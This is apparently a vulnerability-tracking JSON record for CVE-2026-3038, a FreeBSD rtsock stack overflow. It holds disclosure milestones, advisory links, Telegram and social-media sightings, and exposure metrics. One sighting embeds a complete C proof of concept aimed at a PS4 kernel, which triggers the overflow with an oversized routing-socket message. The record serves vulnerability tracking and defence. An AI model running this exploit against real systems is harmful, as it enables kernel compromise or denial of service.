{"metadata": {"vulnerability": "CVE-2026-3038", "count": 33, "kinds": {"milestone": 5, "sighting": 12, "kev": 0, "other": 16}, "linked_omitted": 0}, "data": [{"timestamp": "2026-02-23T16:26:02.807Z", "date_only": false, "value": "2026-02-23T16:26:02.807Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-3038", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-02-24T17:00:00Z", "date_only": false, "value": "2026-02-24T17:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / freebsd", "record": "CVE-2026-3038", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-02-24T23:00:00Z", "date_only": false, "value": "2026-02-24T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2026-02-24T23:00:00Z", "date_only": false, "value": "2026-02-24T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-02-24T23:00:00Z", "date_only": false, "value": "2026-02-24T23:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "vulnerabilities.1.release_date", "linked_record": true, "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-02-25T02:05:50.977Z", "date_only": false, "value": "2026-02-25T02:05:50.977967Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mfnlspunna2z", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "e6695a5d-4cde-443c-9b29-cec200106f48", "url": "https://bsky.app/profile/undercode.bsky.social/post/3mfnlspunna2z"}, {"timestamp": "2026-02-27T16:51:02Z", "date_only": false, "value": "2026-02-27T16:51:02.000000Z", "kind": "sighting", "label": "Seen", "source": "https://cyber.gc.ca/en/alerts-advisories/freebsd-security-advisory-av26-179", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "07f68a84-3090-4d30-b7e8-4a37ef806c18", "url": "https://cyber.gc.ca/en/alerts-advisories/freebsd-security-advisory-av26-179"}, {"timestamp": "2026-03-09T12:25:39.671Z", "date_only": false, "value": "2026-03-09T12:25:39.671Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-3038", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-03-09T12:25:39.671Z", "date_only": false, "value": "2026-03-09T12:25:39.671Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / freebsd", "record": "CVE-2026-3038", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-03-09T13:15:57Z", "date_only": false, "value": "2026-03-09T13:15:57Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-JJXV-P5QR-W2HV", "record": "GHSA-JJXV-P5QR-W2HV", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2026-03-09T13:15:57.227Z", "date_only": false, "value": "2026-03-09T13:15:57.227", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-3038", "record": "FKIE_CVE-2026-3038", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-03-09T14:37:36.861Z", "date_only": false, "value": "2026-03-09T14:37:36.861480Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/vuldb/statuses/116199722606591681", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "a62dc2be-9f26-43a6-8fb6-e68a51fc69c9", "url": "https://infosec.exchange/users/vuldb/statuses/116199722606591681"}, {"timestamp": "2026-03-09T15:30:47Z", "date_only": false, "value": "2026-03-09T15:30:47Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-JJXV-P5QR-W2HV", "record": "GHSA-JJXV-P5QR-W2HV", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-03-09T16:03:08.637Z", "date_only": false, "value": "2026-03-09T16:03:08.637542Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-3038", "field": "containers.adp.0.metrics.1.other.content.timestamp"}, {"timestamp": "2026-03-09T16:03:08.637Z", "date_only": false, "value": "2026-03-09T16:03:08.637542Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-3038", "record": "FKIE_CVE-2026-3038", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2026-03-09T16:03:25.820Z", "date_only": false, "value": "2026-03-09T16:03:25.820Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-3038", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-03-09T16:03:25.820Z", "date_only": false, "value": "2026-03-09T16:03:25.820Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-3038", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-03-09T18:31:43Z", "date_only": false, "value": "2026-03-09T18:31:43Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-JJXV-P5QR-W2HV", "record": "GHSA-JJXV-P5QR-W2HV", "field": "modified", "linked_record": true}, {"timestamp": "2026-03-09T23:00:00Z", "date_only": false, "value": "2026-03-09T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-03-09T23:00:00Z", "date_only": false, "value": "2026-03-09T23:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-03-10T09:16:49.929Z", "date_only": false, "value": "2026-03-10T09:16:49.929+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2026-03-17T00:00:00Z", "date_only": true, "value": "2026-03-17", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2026-40796", "record": "CNVD-2026-40796", "field": "submitTime", "linked_record": true}, {"timestamp": "2026-06-17T10:42:55.180Z", "date_only": false, "value": "2026-06-17T10:42:55.180", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-3038", "record": "FKIE_CVE-2026-3038", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-06-17T19:35:29.056Z", "date_only": false, "value": "2026-06-17T19:35:29.056625Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/praetorianlabs.bsky.social/post/3moj2opxcc624", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "8957cf91-3736-403d-aa8c-d062294fcb0a", "content": "Researcher Adam Crosser pointed Claude Code at the FreeBSD kernel and found eight zero-days in days, including CVE-2026-3038, an RTSock stack overflow patched a day after we reported it.\n\nbuff.ly/Fw4qcxc\n\n#offensivesecurity #freebsd #infosec #praetorian", "url": "https://bsky.app/profile/praetorianlabs.bsky.social/post/3moj2opxcc624"}, {"timestamp": "2026-08-07T23:56:59.171Z", "date_only": false, "value": "2026-08-07T23:56:59.171832Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/hasyimy-ctrl/a79460845e7268785c8129e18b00655a", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "7905b174-7ad9-46e3-a407-649fe10a8493", "content": "/*\nCVE-2026-3038 vulnerability \nAffected file: W:\\\\Build\\\\J02697906\\\\sys\\\\freebsd\\\\sys\\\\net\\\\rtsock.c in PS4 13.52 kernel file\nTrigger stack overflow in rtsock_msg_buffer() via PF_ROUTE, SOCK_RAW.\nUses syscall 'sys_socketex' that callable on libkernel.sprx, libkernel_web.sprx and libkernel_sys.sprx\n*/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define PF_ROUTE        32\n#define SOCK_RAW        3\n#define SYSCALL_SOCKETEX 0x21B\n#define RTM_GET         8\n#define RTA_DST         0x1\n#define RTM_VERSION     5\n#define SA_MAX          255\n\nstatic int sys_socketex(int domain, int type, int protocol, const char *name)\n{\n    return syscall(SYSCALL_SOCKETEX, domain, type, protocol, name);\n}\n\nint main(void)\n{\n    int fd;\n    struct {\n        struct rt_msghdr hdr;\n        struct sockaddr sa;\n        unsigned char pad[SA_MAX - sizeof(struct sockaddr)];\n    } msg;\n    struct iovec iov;\n    struct msghdr msghdr;\n\n    // Open raw routing socket via sys_socketex\n    fd = sys_socketex(PF_ROUTE, SOCK_RAW, 0, NULL);\n    if (fd < 0)\n        return 1;\n\n    // Build malformed RTM_GET with oversize sockaddr (sa_len = 255)\n    memset(&msg, 0, sizeof(msg));\n    msg.hdr.rtm_msglen = sizeof(msg);\n    msg.hdr.rtm_version = RTM_VERSION;\n    msg.hdr.rtm_type = RTM_GET;\n    msg.hdr.rtm_addrs = RTA_DST;\n    msg.sa.sa_family = AF_INET;\n    msg.sa.sa_len = SA_MAX;          // 255 -> overflow\n    memset(msg.pad, 0x41, sizeof(msg.pad));\n\n    // Send the message\n    iov.iov_base = &msg;\n    iov.iov_len = sizeof(msg);\n    memset(&msghdr, 0, sizeof(msghdr));\n    msghdr.msg_iov = &iov;\n    msghdr.msg_iovlen = 1;\n\n    sendmsg(fd, &msghdr, 0);\n    close(fd);\n    return 0;\n}", "url": "https://gist.github.com/hasyimy-ctrl/a79460845e7268785c8129e18b00655a"}, {"timestamp": "2026-09-21T21:00:04.568Z", "date_only": false, "value": "2026-09-21T21:00:04.568363Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/MuCAS5xoUJtmKmmR0jz51uV49huqB1bj3gk3uThSjewpDTM", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "0f360e40-e312-481e-8737-86bcc6e75861", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-22T12:00:04.803Z", "date_only": false, "value": "2026-09-22T12:00:04.803965Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Be2fUrQx0unyh9hBofzu0HICbhA-_ZO4iyRjWVgV9_-89ik", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "6526e82c-fc3d-4044-a13f-eb58eb326e1f"}, {"timestamp": "2026-09-23T00:00:10.335Z", "date_only": false, "value": "2026-09-23T00:00:10.335140Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Be2fUrQx0unyh9hBofzu0HICbhA-_ZO4iyRjWVgV9_-89ik", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "e4dc8743-bc63-441e-b736-0ce6f962c5e1", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-25T09:19:59Z", "date_only": false, "value": "2026-09-25T09:19:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/6wygCC6sV0oliJPR02WqyYxQ4A33OBVvpIXaQz8w-b5drkw", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "3a11f70b-3479-44c3-aa28-7b993742251d", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-25T09:19:59Z", "date_only": false, "value": "2026-09-25T09:19:59.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/6wygCC6sV0oliJPR02WqyYxQ4A33OBVvpIXaQz8w-b5drkw", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "329bd175-8820-4daa-84ca-3a7ed9fcbea8"}, {"timestamp": "2026-09-25T09:21:28Z", "date_only": false, "value": "2026-09-25T09:21:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/JJI78CT9UdwjIduziXV6RHriDBt6SF0_5UF5oXdJIn0zLhU", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "376e4e08-3e4f-4c01-a5a6-925ce9f13f81", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-25T09:21:28Z", "date_only": false, "value": "2026-09-25T09:21:28.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/JJI78CT9UdwjIduziXV6RHriDBt6SF0_5UF5oXdJIn0zLhU", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "1d6932d6-11b8-4393-91fa-a6552647c124"}, {"timestamp": "2026-10-16T00:00:00Z", "date_only": true, "value": "2026-10-16", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2026-40796", "record": "CNVD-2026-40796", "field": "openTime", "linked_record": true}], "metrics": {"as_of": "2026-11-11T23:42:49.386Z", "anchors": {"origin": {"timestamp": "2026-02-24T17:00:00Z", "date_only": false, "value": "2026-02-24T17:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / freebsd", "record": "CVE-2026-3038", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2026-02-24T17:00:00Z", "date_only": false, "value": "2026-02-24T17:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / freebsd", "record": "CVE-2026-3038", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2026-09-21T21:00:04.568Z", "date_only": false, "value": "2026-09-21T21:00:04.568363Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/MuCAS5xoUJtmKmmR0jz51uV49huqB1bj3gk3uThSjewpDTM", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "0f360e40-e312-481e-8737-86bcc6e75861", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": 18072004.568, "hours": 5020.001268888889, "days": 209.16671953703704, "min_seconds": 18072004.568, "max_seconds": 18072004.568, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-02-24T17:00:00Z", "date_only": false, "value": "2026-02-24T17:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / freebsd", "record": "CVE-2026-3038", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-09-21T21:00:04.568Z", "date_only": false, "value": "2026-09-21T21:00:04.568363Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/MuCAS5xoUJtmKmmR0jz51uV49huqB1bj3gk3uThSjewpDTM", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "0f360e40-e312-481e-8737-86bcc6e75861", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 22488169.386299, "hours": 6246.7137184163885, "days": 260.2797382673495, "min_seconds": 22488169.386299, "max_seconds": 22488169.386299, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-02-24T17:00:00Z", "date_only": false, "value": "2026-02-24T17:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / freebsd", "record": "CVE-2026-3038", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-11T23:42:49.386Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": 4416164.818299, "hours": 1226.7124495275, "days": 51.113018730312504, "min_seconds": 4416164.818299, "max_seconds": 4416164.818299, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-09-21T21:00:04.568Z", "date_only": false, "value": "2026-09-21T21:00:04.568363Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/MuCAS5xoUJtmKmmR0jz51uV49huqB1bj3gk3uThSjewpDTM", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "0f360e40-e312-481e-8737-86bcc6e75861", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-11T23:42:49.386Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}